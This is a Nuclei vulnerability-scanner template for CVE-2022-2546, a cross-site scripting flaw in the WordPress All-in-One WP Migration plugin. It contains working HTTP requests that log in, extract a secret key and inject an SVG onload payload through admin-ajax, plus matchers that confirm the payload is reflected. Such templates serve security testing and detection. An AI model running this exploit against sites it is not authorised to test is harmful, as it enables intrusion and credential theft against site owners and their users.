nuclei-templates/http/cves/2022/CVE-2022-2546.yaml

66 lines
2.7 KiB
YAML

id: CVE-2022-2546
info:
name: WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress All-in-One WP Migration plugin 7.62 and prior contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of the WordPress All-in-One WP Migration plugin (7.63 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/f84920e4-a1fe-47cf-9ba5-731989c70f58
- https://wordpress.org/plugins/all-in-one-wp-migration/
- https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2022-2546
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.7
cve-id: CVE-2022-2546
cwe-id: CWE-79
epss-score: 0.00198
epss-percentile: 0.57478
cpe: cpe:2.3:a:servmask:all-in-one_wp_migration:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: servmask
product: all-in-one_wp_migration
framework: wordpress
tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- contains(header_3, "text/html")
- status_code_3 == 200
- contains(body_3, '{\"new_value\":[\"XSSPAYLOAD<svg onload=alert(document.domain)>')
condition: and
extractors:
- type: regex
name: secretkey
group: 1
regex:
- 'ai1wm_feedback"},"secret_key":"([0-9a-zA-Z]+)"'
internal: true
# digest: 4a0a0047304502201ba3af687e426a22e337c1fb7564502dfa752fd22aedecce4d3c6ca8ea6ccb76022100bf2be54ec10092dc8d1afd34e68c99174de1453016f25c9456a182ff70c269a7:922c64590222798bb761d5b6d8e72950